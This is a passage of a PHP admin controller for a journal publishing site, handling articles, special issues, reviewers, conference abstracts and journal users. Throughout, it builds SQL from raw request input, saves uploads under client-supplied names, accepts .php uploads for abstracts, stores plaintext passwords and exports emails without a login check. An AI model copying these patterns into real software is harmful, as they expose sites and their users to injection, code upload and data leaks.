$ext=pathinfo($_FILES['author_img']['name'], PATHINFO_EXTENSION); $targetfile="cauth_".$cares['id'].rand(10,999).date('s').".".$ext; if(move_uploaded_file($_FILES['author_img']['tmp_name'],"uploads/cauthors/".$targetfile)) $con->query("update corresponding_author set profile_photo='".$targetfile."' where id=".$cares['id']); } } }else{ if($_POST['author_name']!=""){ $con->query("insert into corresponding_author(name,gender,designation,university,country,biography,url_name) values ('".htmlentities($_POST['author_name'])."','".$_POST['author_gender']."','".$_POST['author_designation']."','".$_POST['author_university']."','".$_POST['author_country']."','".htmlentities($_POST['author_biography'],ENT_QUOTES)."','".$uname1."')"); $recentid=mysqli_insert_id($con); //ca hyperlink $con->query("update ".$table." set ca_id=".$recentid." where id=".$_POST['aid']); //if($_POST['action']=="submitcurrentissue" || $_POST['action']=="submitpreviousissue"){ $con->query("update archive set ca_id=".$recentid." where id=".$_POST['archid']); //} //ca hyperlink $carqry=$con->query("select * from corresponding_author_relations where pdf_file='".$pres['pdf_file']."' and jid=".$_GET['jid']); if($carqry->num_rows == 0){ $con->query("insert into corresponding_author_relations (ca_id,pdf_file,article_title,jid) values(".$recentid.",'".$pres['pdf_file']."','".addslashes($pres['article_title'])."',".$_GET['jid'].")"); } if($_FILES['author_img']['name']!=""){ $ext=pathinfo($_FILES['author_img']['name'], PATHINFO_EXTENSION); $targetfile="cauth_".$cares['id'].rand(10,999).date('s').".".$ext; if(move_uploaded_file($_FILES['author_img']['tmp_name'],"uploads/cauthors/".$targetfile)) $con->query("update corresponding_author set profile_photo='".$targetfile."' where id=".$recentid); } } } //End here header("location:index.php?action=".$redirect."&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case'chkboxsubmission': if(isset($_SESSION['user'])){ for($i=0;$i<count($_POST['chkboxval']);$i++){ $table=$_POST['tabletype']; if($_POST['chkboxval'][$i]=="current-issue"){ $qry=$con->query("select * from ".$table." where id=".$_POST['id']); $res=$qry->fetch_assoc(); $con->query("insert into current_issue(jid,author_names,article_title,article_type,volumeno,issueno,released_year,pdf_file,fulltext_filename,supplementary_data,doi,pagenumbers,date_published,position,nih_funded, pubmedno, keywords) values (".$res['jid'].",'".$res['author_names']."','".addslashes($res['article_title'])."','".$res['article_type']."','".$res['volumeno']."','".$res['issueno']."','".$res['released_year']."','".$res['pdf_file']."','".$res['fulltext_filename']."','".$res['supplementary_data']."','".$res['doi']."','".$res['pagenumbers']."','".$res['date_published']."',".$res['position'].",'".$res['nih_funded']."','".$res['pubmedno']."','".$res['keywords']."')"); $cuiid=mysqli_insert_id($con); $chkqry=$con->query("select * from archive where jid=".$res['jid']." and article_title='".addslashes($res['article_title'])."'"); if($chkqry->num_rows==0){ $con->query("insert into archive(jid,author_names,article_title,article_type,volumeno,issueno,released_year,pdf_file,fulltext_filename,supplementary_data,doi,pagenumbers,date_published,position,nih_funded, pubmedno, keywords) values (".$res['jid'].",'".$res['author_names']."','".addslashes($res['article_title'])."','".$res['article_type']."','".$res['volumeno']."','".$res['issueno']."','".$res['released_year']."','".$res['pdf_file']."','".$res['fulltext_filename']."','".$res['supplementary_data']."','".$res['doi']."','".$res['pagenumbers']."','".$res['date_published']."',".$res['position'].",'".$res['nih_funded']."','".$res['pubmedno']."','".$res['keywords']."')"); $archiveid=mysqli_insert_id($con); $con->query("update current_issue set archid=".$archiveid." where id=".$cuiid); } }//if if($_POST['chkboxval'][$i]=="previous-issue"){ $qry=$con->query("select * from ".$table." where id=".$_POST['id']); $res=$qry->fetch_assoc(); $con->query("insert into previous_issue(jid,author_names,article_title,article_type,volumeno,issueno,released_year,pdf_file,fulltext_filename,supplementary_data,doi,pagenumbers,date_published,position,archid,nih_funded, pubmedno, keywords) values (".$res['jid'].",'".$res['author_names']."','".addslashes($res['article_title'])."','".$res['article_type']."','".$res['volumeno']."','".$res['issueno']."','".$res['released_year']."','".$res['pdf_file']."','".$res['fulltext_filename']."','".$res['supplementary_data']."','".$res['doi']."','".$res['pagenumbers']."','".$res['date_published']."',".$res['position'].",".$res['archid'].",'".$res['nih_funded']."','".$res['pubmedno']."','".$res['keywords']."')"); } //if }//for if(isset($_POST['chkboxval'])){ if($_POST['tabletype']=="early_online"){ $con->query("delete from early_online where id=".$_POST['id']); header("location:index.php?action=early-online&jid=".$_POST['jid']); } if($_POST['tabletype']=="current_issue"){ $con->query("delete from current_issue where id=".$_POST['id']); header("location:index.php?action=current-issue&jid=".$_POST['jid']); } }else{ if($_POST['tabletype']=="early_online"){ header("location:index.php?action=early-online&jid=".$_POST['jid']); }elseif($_POST['tabletype']=="current_issue"){ header("location:index.php?action=current-issue&jid=".$_POST['jid']); } } }else{ header("location:index.php"); } break; case 'current-issue': if(isset($_SESSION['user'])){ include "includes/currentissue.php"; }else{ header("location:index.php"); } break; case 'editcurrentissue': if(isset($_SESSION['user'])){ include "includes/addeditarticle.php"; }else{ header("location:index.php"); } break; case 'previous-issue': if(isset($_SESSION['user'])){ include "includes/previousissue.php"; }else{ header("location:index.php"); } break; case 'editpreviousissue': if(isset($_SESSION['user'])){ include "includes/addeditarticle.php"; }else{ header("location:index.php"); } break; case 'deletepreviousissue': if(isset($_SESSION['user'])){ $con->query("delete from previous_issue where id=".$_GET['aid']); header("location:index.php?action=previous-issue&jid=".$_GET['jid']); }else{ header("location:index.php"); } break; case 'archive': if(isset($_SESSION['user'])){ include "includes/archive.php"; }else{ header("location:index.php"); } break; case 'editarchive': if(isset($_SESSION['user'])){ include "includes/addeditarticle.php"; }else{ header("location:index.php"); } break; case 'special-issue': if(isset($_SESSION['user'])){ include "includes/specialissue.php"; }else{ header("location:index.php"); } break; case 'addspecialissue': if(isset($_SESSION['user'])){ include "includes/addeditspecialissue.php"; }else{ header("location:index.php"); } break; case 'editspecialissue': if(isset($_SESSION['user'])){ include "includes/addeditspecialissue.php"; }else{ header("location:index.php"); } break; case 'submitspecialissue': if(isset($_SESSION['user'])){ if($_POST['sid']!=""){ $con->query("update special_issue set title='".$_POST['title']."',content='".addslashes($_POST['content'])."',membername='".$_POST['membername']."', designation='".$_POST['designation']."',institute='".$_POST['institute']."',university='".$_POST['university']."',country='".$_POST['country']."',email='".$_POST['email']."', published_date='".$_POST['published_date']."',released_date='".$_POST['released_date']."' where id=".$_POST['sid']); if(isset($_FILES['image']['name']) && $_FILES['image']['name']!=""){ $qry=$con->query("select image from special_issue where id=".$_POST['sid']); $res=$qry->fetch_assoc(); if($res['image']!=""){ unlink("uploads/specialissue/".$res['image']); } $ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); $targetpath="jrnspl".$_POST['sid'].rand(0,100).date('s').".".$ext; if(move_uploaded_file($_FILES['image']['tmp_name'], "uploads/specialissue/".$targetpath)){ $con->query("update special_issue set image='".$targetpath."' where id=".$_POST['sid']); } } $cntarticles=count($_POST['spl_articletitle']); if($cntarticles > 0){ for($i=0;$i<$cntarticles;$i++){ if(isset($_POST['splarticleid'][$i]) && $_POST['splarticleid'][$i]!=""){ $con->query("update specialissue_articles set spl_articletitle='".$_POST['spl_articletitle'][$i]."',fulltext_filename='".$_POST['fulltext_filename'][$i]."',spl_articletype='".$_POST['spl_articletype'][$i]."',author_names='".$_POST['author_names'][$i]."',pagenumbers='".$_POST['pagenumbers'][$i]."',date_published='".$_POST['date_published'][$i]."',position='".$_POST['position'][$i]."' where id=".$_POST['splarticleid'][$i]); if(isset($_FILES['pdf_file']['name'][$i]) && $_FILES['pdf_file']['name'][$i]!=""){ $chkqry=$con->query("select pdf_file from specialissue_articles where id=".$_POST['splarticleid'][$i]); $chkres=$chkqry->fetch_assoc(); if($chkres['pdf_file']!=""){ unlink("uploads/specialissue/".$chkres['pdf_file']); $con->query("update specialissue_articles set pdf_file='' where id=".$_POST['splarticleid'][$i]); } $ext = pathinfo($_FILES['pdf_file']['name'][$i], PATHINFO_EXTENSION); if($ext=="pdf"){ $targetfile=$_FILES['pdf_file']['name'][$i]; if(move_uploaded_file($_FILES['pdf_file']['tmp_name'][$i], "uploads/specialissue/".$targetfile)){ $con->query("update specialissue_articles set pdf_file='".$_FILES['pdf_file']['name'][$i]."' where id=".$_POST['splarticleid'][$i]); } } } //supplementary data if(isset($_FILES['supplementary_data']['name'][$i]) && $_FILES['supplementary_data']['name'][$i]!=""){ $chkqry=$con->query("select supplementary_data from specialissue_articles where id=".$_POST['splarticleid'][$i]); $chkres=$chkqry->fetch_assoc(); if($chkres['supplementary_data']!=""){ unlink("uploads/specialissue/".$chkres['supplementary_data']); $con->query("update specialissue_articles set supplementary_data='' where id=".$_POST['splarticleid'][$i]); } $targetfile=$_FILES['supplementary_data']['name'][$i]; if(move_uploaded_file($_FILES['supplementary_data']['tmp_name'][$i], "uploads/specialissue/".$targetfile)){ $con->query("update specialissue_articles set supplementary_data='".$_FILES['supplementary_data']['name'][$i]."' where id=".$_POST['splarticleid'][$i]); } } }else{ $con->query("insert into specialissue_articles(splid,spl_articletitle,fulltext_filename,spl_articletype,author_names,pagenumbers,date_published,position) values (".$_POST['sid'].",'".$_POST['spl_articletitle'][$i]."','".$_POST['fulltext_filename'][$i]."','".$_POST['spl_articletype'][$i]."','".$_POST['author_names'][$i]."','".$_POST['pagenumbers'][$i]."','".$_POST['date_published'][$i]."','".$_POST['position'][$i]."')"); $splartrecentid=mysqli_insert_id($con); if(isset($_FILES['pdf_file']['name'][$i]) && $_FILES['pdf_file']['name'][$i]!=""){ $ext = pathinfo($_FILES['pdf_file']['name'][$i], PATHINFO_EXTENSION); if($ext=="pdf"){ $targetfile=$_FILES['pdf_file']['name'][$i]; if(move_uploaded_file($_FILES['pdf_file']['tmp_name'][$i], "uploads/specialissue/".$targetfile)){ $con->query("update specialissue_articles set pdf_file='".$_FILES['pdf_file']['name'][$i]."' where id=".$splartrecentid); } } } //supplementary data if(isset($_FILES['supplementary_data']['name'][$i]) && $_FILES['supplementary_data']['name'][$i]!=""){ $targetfile=$_FILES['supplementary_data']['name'][$i]; if(move_uploaded_file($_FILES['supplementary_data']['tmp_name'][$i], "uploads/specialissue/".$targetfile)){ $con->query("update specialissue_articles set supplementary_data='".$_FILES['supplementary_data']['name'][$i]."' where id=".$splartrecentid); } } } } } }else{ $con->query("insert into special_issue(jid,title,content,membername,designation,institute,university,country,email,published_date,released_date) values (".$_POST['jid'].",'".$_POST['title']."','".addslashes($_POST['content'])."','".$_POST['membername']."','".$_POST['designation']."','".$_POST['institute']."','".$_POST['university']."','".$_POST['country']."','".$_POST['email']."','".$_POST['published_date']."','".$_POST['released_date']."')"); $recentid=mysqli_insert_id($con); if(isset($_FILES['image']['name']) && $_FILES['image']['name']!=""){ $ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); $targetpath="jrnspl".$recentid.rand(0,100).".".$ext; if(move_uploaded_file($_FILES['image']['tmp_name'], "uploads/specialissue/".$targetpath)){ $con->query("update special_issue set image='".$targetpath."' where id=".$recentid); } } $cntarticles=count($_POST['spl_articletitle']); if($cntarticles > 0){ for($i=0;$i<$cntarticles;$i++){ $con->query("insert into specialissue_articles(splid,spl_articletitle,fulltext_filename,spl_articletype,author_names,pagenumbers,date_published,position) values (".$recentid.",'".$_POST['spl_articletitle'][$i]."','".$_POST['fulltext_filename'][$i]."','".$_POST['spl_articletype'][$i]."','".$_POST['author_names'][$i]."','".$_POST['pagenumbers'][$i]."','".$_POST['date_published'][$i]."','".$_POST['position'][$i]."')"); $splartrecentid=mysqli_insert_id($con); if(isset($_FILES['pdf_file']['name'][$i]) && $_FILES['pdf_file']['name'][$i]!=""){ $ext = pathinfo($_FILES['pdf_file']['name'][$i], PATHINFO_EXTENSION); if($ext=="pdf"){ $targetfile=$_FILES['pdf_file']['name'][$i]; if(move_uploaded_file($_FILES['pdf_file']['tmp_name'][$i], "uploads/specialissue/".$targetfile)){ $con->query("update specialissue_articles set pdf_file='".$_FILES['pdf_file']['name'][$i]."' where id=".$splartrecentid); } } } } } } header("location:index.php?action=special-issue&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'payments': if(isset($_SESSION['user'])){ include "includes/payments.php"; }else{ header("location:index.php"); } break; case 'deletepayment': if(isset($_SESSION['user'])){ $con->query("delete from madridge_payments where id=".$_GET['id']); header("location:index.php?action=payments"); }else{ header("location:index.php"); } break; case 'reviewer': if(isset($_SESSION['user'])){ include "includes/reviewer.php"; }else{ header("location:index.php"); } break; case 'addrelatedconf': if(isset($_SESSION['user'])){ include "includes/addrelatedconf.php"; }else{ header("location:index.php"); } break; case 'addreviewer': case 'editreviewer': if(isset($_SESSION['user'])){ include "includes/addeditreviewer.php"; }else{ header("location:index.php"); } break; case 'submitreviewer': if(isset($_SESSION['user'])){ if($_POST['rid']!=""){ $con->query("update join_reviewer set first_name='".$_POST['first_name']."',last_name='".$_POST['last_name']."',university_organization='".$_POST['university_organization']."', address='".$_POST['address']."',email='".$_POST['email']."',phoneno='".$_POST['phoneno']."',posted_date='".$_POST['posted_date']."' where id=".$_POST['rid']); if(isset($_FILES['filecv']['name']) && $_FILES['filecv']['tmp_name']!=""){ $qry=$con->query("select cv from join_reviewer where id=".$_POST['rid']); $res=$qry->fetch_assoc(); if($res['cv']!=""){ unlink("uploads/join-reviewer/".$res['cv']); } $ext=pathinfo($_FILES['filecv']['name'],PATHINFO_EXTENSION); $targetpath="uploads/join-reviewer/jrvw_".date('YmdHis').".".$ext; $cvfile="jrvw_".date('YmdHis').".".$ext; if($ext=="doc" || $ext=="docx" || $ext=="pdf"){ if(move_uploaded_file($_FILES['filecv']['tmp_name'],$targetpath)){ $con->query("update join_reviewer set cv='".$cvfile."' where id=".$_POST['rid']); } } } }else{ $con->query("insert into join_reviewer(jid,first_name,last_name,university_organization,address,email,phoneno,posted_date) values ('".$_POST['jid']."','".$_POST['first_name']."','".$_POST['last_name']."','".$_POST['university_organization']."','".addslashes($_POST['address'])."','".$_POST['email']."','".$_POST['phoneno']."','".$_POST['posted_date']."')"); $recentid=mysqli_insert_id($con); if(isset($_FILES['filecv']['name']) && $_FILES['filecv']['tmp_name']!=""){ $ext=pathinfo($_FILES['filecv']['name'],PATHINFO_EXTENSION); $targetpath="uploads/join-reviewer/jrvw_".date('YmdHis').".".$ext; $cvfile="jrvw_".date('YmdHis').".".$ext; if($ext=="doc" || $ext=="docx" || $ext=="pdf"){ if(move_uploaded_file($_FILES['filecv']['tmp_name'],$targetpath)){ $con->query("update join_reviewer set cv='".$cvfile."' where id=".$recentid); } } } } header("location:index.php?action=reviewer&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'deletereview': if(isset($_SESSION['user'])){ $qry=$con->query("select jid,cv from join_reviewer where id=".$_GET['rid']); $res=$qry->fetch_assoc(); if($res['cv']!=""){ unlink("uploads/join-reviewer/".$res['cv']); } $con->query("delete from join_reviewer where id=".$_GET['rid']); header("location:index.php?action=reviewer&jid=".$res['jid']); }else{ header("location:index.php"); } break; case 'addrelatedconf': if(isset($_SESSION['user'])){ include "includes/addrelatedconf.php"; }else{ header("location:index.php"); } break; case 'jconf_submission': if(isset($_SESSION['user'])){ $con->query("update journals set confid=".$_POST['confid']." where id=".$_POST['journalid']); header("location:index.php?action=addrelatedconf&jid=".$_POST['journalid']); }else{ header("location:index.php"); } break; case 'addconference': case 'editconference': if(isset($_SESSION['user'])){ include "includes/addconference.php"; }else{ header("location:index.php"); } break; case 'deleteconference': if(isset($_SESSION['user'])){ $qry=$con->query("select abstract_types from conference_proceedings where id=".$_GET['id']); $res=$qry->fetch_assoc(); $arr=explode(",",$res['abstract_types']); for($i=0;$i<count($arr);$i++){ $arrqry=$con->query("select id from ".$arr[$i]." where jid=".$_GET['jid']." and cid=".$_GET['id']); $cnt[]=$arrqry->num_rows; } $cntval=count((array_filter($cnt))); if($cntval==0){ $con->query("delete from conference_proceedings where id=".$_GET['id']); header("location:index.php?action=addrelatedconf&jid=".$_GET['jid']); }else{ echo "<script type='text/javascript'>alert('Please delete all abstract types and then delete Conference Proceedings'); window.location='index.php?action=addrelatedconf&jid=".$_GET['jid']."'; </script>"; } }else{ header("location:index.php"); } break; case 'confproceedings_submission': if(isset($_SESSION['user'])){ $abstract_types=implode(",",$_POST['abstract_types']); if($_POST['id']==""){ $abstract_types=implode(",",$_POST['abstract_types']); $con->query("insert into conference_proceedings(jid,conf_title,conf_dates,conf_venue,short_name,conference_shortabs,abstract_types) values (".$_POST['journalid'].",'".$_POST['conf_title']."','".$_POST['conf_dates']."','".$_POST['conf_venue']."','".$_POST['short_name']."','".$_POST['conference_shortabs']."','".$abstract_types."')"); }else{ $con->query("update conference_proceedings set conf_title='".$_POST['conf_title']."',conf_dates='".$_POST['conf_dates']."',conf_venue='".$_POST['conf_venue']."',short_name='".$_POST['short_name']."',conference_shortabs='".$_POST['conference_shortabs']."',abstract_types='".$abstract_types."' where id=".$_POST['id']); } header("location:index.php?action=addrelatedconf&jid=".$_POST['journalid']); }else{ header("location:index.php"); } break; case 'keynote_session': case 'scientific_session': case 'posters_abstracts': case 'accepted_abstracts': case 'workshop': case 'special_education': if(isset($_SESSION['user'])){ include "includes/abstracts.php"; }else{ header("location:index.php"); } break; case 'addabstract': case 'editabstract': if(isset($_SESSION['user'])){ include "includes/addeditabstracts.php"; }else{ header("location:index.php"); } break; case 'deleteabstract': if(isset($_SESSION['user'])){ $tarr=array("pdf_file","fulltext_file","digital_file"); $qry=$con->query("select pdf_file,fulltext_file,digital_file from ".$_GET['menutype']." where id=".$_GET['id']); $res=$qry->fetch_assoc(); for($i=0;$i<count($tarr);$i++){ $pathfolder=strstr($tarr[$i],"_",true); if($res[$tarr[$i]]!=""){ unlink("uploads/conference-proceedings/".$_GET['menutype']."/".$pathfolder."/".$res[$tarr[$i]]); } } $con->query("delete from ".$_GET['menutype']." where id=".$_GET['id']); header("location:index.php?action=".$_GET['menutype']."&jid=".$_GET['jid']."&cid=".$_GET['cid']); }else{ header("location:index.php"); } break; case 'articleabstract_submission': if(isset($_SESSION['user'])){ $tarr=array("pdf_file","fulltext_file"); $exts=array("pdf","php"); if($_POST['id']==""){ $con->query("insert into ".$_POST['menutype']." (jid,cid,abstract_title,doi,author_name, digital_file) values ('".$_POST['journalid']."','".$_POST['cid']."','".addslashes($_POST['abstract_title'])."','".$_POST['doi']."','".$_POST['author_name']."','".$_POST['digital_file']."')"); $recentid=mysqli_insert_id($con); for($i=0;$i<count($tarr);$i++){ if($_FILES[$tarr[$i]]['tmp_name']!=""){ $ext = pathinfo($_FILES[$tarr[$i]]['name'], PATHINFO_EXTENSION); $targetfile=$_FILES[$tarr[$i]]['name']; $pathfolder=strstr($tarr[$i],"_",true); if($ext==$exts[$i]){ if(move_uploaded_file($_FILES[$tarr[$i]]['tmp_name'], "uploads/conference-proceedings/".$_POST['menutype']."/".$pathfolder."/".$targetfile)){ $con->query("update ".$_POST['menutype']." set ".$tarr[$i]."='".$targetfile."' where id=".$recentid); } } } } }else{ $con->query("update ".$_POST['menutype']." set abstract_title='".$_POST['abstract_title']."', doi='".$_POST['doi']."',author_name='".$_POST['author_name']."',digital_file='".$_POST['digital_file']."' where id=".$_POST['id']); $qry=$con->query("select pdf_file,fulltext_file,digital_file from ".$_POST['menutype']." where id=".$_POST['id']); $res=$qry->fetch_assoc(); for($i=0;$i<count($tarr);$i++){ $pathfolder=strstr($tarr[$i],"_",true); if($_FILES[$tarr[$i]]['tmp_name']!=""){ if($res[$tarr[$i]]!=""){ unlink("uploads/conference-proceedings/".$_POST['menutype']."/".$pathfolder."/".$res[$tarr[$i]]); //$con->query("update ".$_POST['menutype']." set ".$tarr[$i]."='' where id=".$_POST['id']); } $ext = pathinfo($_FILES[$tarr[$i]]['name'], PATHINFO_EXTENSION); $targetfile=$_FILES[$tarr[$i]]['name']; if($ext==$exts[$i]){ if(move_uploaded_file($_FILES[$tarr[$i]]['tmp_name'], "uploads/conference-proceedings/".$_POST['menutype']."/".$pathfolder."/".$targetfile)){ $con->query("update ".$_POST['menutype']." set ".$tarr[$i]."='".$targetfile."' where id=".$_POST['id']); } } } } } header("location:index.php?action=".$_POST['menutype']."&jid=".$_POST['journalid']."&cid=".$_POST['cid']); }else{ header("location:index.php"); } break; case 'publication_fee': if(isset($_SESSION['user'])){ include "includes/publishingfee.php"; }else{ header("location:index.php"); } break; case 'submitpbfee': if(isset($_SESSION['user'])){ $qry=$con->query("select * from publication_fee where jid=".$_POST['jid']); if($qry->num_rows > 0){ $con->query("update publication_fee set opinion='".$_POST['opinion']."',short_communication='".$_POST['short_communication']."',clinical='".$_POST['clinical']."',mini_review='".$_POST['mini_review']."',review='".$_POST['review']."',case_report='".$_POST['case_report']."',research='".$_POST['research']."' where jid=".$_POST['jid']); }else{ $con->query("insert into publication_fee(jid,opinion,short_communication,clinical,mini_review,review,case_report,research) values (".$_POST['jid'].",'".$_POST['opinion']."','".$_POST['short_communication']."','".$_POST['clinical']."','".$_POST['mini_review']."','".$_POST['review']."','".$_POST['case_report']."','".$_POST['research']."')"); } header("location:index.php?action=publication_fee&jid=".$_POST['jid']); }else{ header("location:index.php"); } break; case 'indexing': if(isset($_SESSION['user'])){ include "includes/indexing.php"; }else{ header("location:index.php"); } break; case 'addindexing': case 'editindexing': if(isset($_SESSION['user'])){ include "includes/addeditindexing.php"; }else{ header("location:index.php"); } break; case 'submitindexing': if(isset($_SESSION['user'])){ if($_POST['id']!=""){ if($_FILES['indexing_logo']['name']!=""){ $qry=$con->query("select image from tbl_index where id=".$_POST['id']); $res=$qry->fetch_assoc(); if($res['image']!=""){ unlink("uploads/indexing/".$res['image']); } if(move_uploaded_file($_FILES['indexing_logo']['tmp_name'], "uploads/indexing/".$_FILES['indexing_logo']['name'])){ $con->query("update tbl_index set image='".$_FILES['indexing_logo']['name']."',position=".$_POST['position']." where id=".$_POST['id']); } }else{ $con->query("update tbl_index set position=".$_POST['position']." where id=".$_POST['id']); } }else{ if($_FILES['indexing_logo']['name']!=""){ if(move_uploaded_file($_FILES['indexing_logo']['tmp_name'], "uploads/indexing/".$_FILES['indexing_logo']['name'])){ $con->query("insert into tbl_index(image,position) values ('".$_FILES['indexing_logo']['name']."',".$_POST['position'].")"); } } } header("location:index.php?action=indexing"); }else{ header("location:index.php"); } break; case 'unsubscribe': if(isset($_SESSION['user'])){ $uqry=$con->query("select * from unsubscribe_emails"); include "includes/unsubscribe.php"; }else{ header("location:index.php"); } break; case 'dwdunsubemails': $timestamp = time(); $filename = 'unsubscribed_emails' . $timestamp . '.xls'; $unsubemails=$con->query("select email from unsubscribe_emails order by id DESC"); header("Content-Type: application/vnd.ms-excel"); header("Content-Disposition: attachment; filename=\"$filename\""); $isPrintHeader = false; foreach ($unsubemails as $row) { if (! $isPrintHeader) { echo implode("\t", array_keys($row)) . "\n"; $isPrintHeader = true; } echo implode("\t", array_values($row)) . "\n"; } exit(); break; case 'journaluser': if(isset($_SESSION['user'])){ include "includes/addjournaluser.php"; }else{ header("location:index.php"); } break; case 'jusers_submission': if(isset($_SESSION['user'])){ $jqry=$con->query("select shortname from journals where id=".$_POST['journalid']); $jres=$jqry->fetch_assoc(); $jshortname=$jres['shortname']; $qry=$con->query("select * from user_registrations where journalid=".$_POST['journalid']); if($qry->num_rows <= 0){ $con->query("insert into user_registrations(name,username,password,usertype,journalid) values ('".$jshortname."','".$_POST['username']."','".$_POST['password']."','".$_POST['usertype']."',".$_POST['journalid'].")"); $recentid=mysqli_insert_id($con); $con->query("update journals set user_id_entered=".$recentid." where id=".$_POST['journalid']); header("location:index.php?action=journals"); }else{ $con->query("update user_registrations set name='".$jshortname."',username='".$_POST['username']."',password='".$_POST['password']."' where journalid=".$_POST['journalid']." and id=".$_POST['id']); $con->query("update journals set user_id_entered=".$_POST['id']." where id=".$_POST['journalid']); header("location:index.php?action=journals"); } }else{ header("location:index.php"); } break; case 'logout': if(isset($_SESSION['user'])){ unset($_SESSION['user']); session_destroy(); } header("location:index.php"); break; } ?>
Close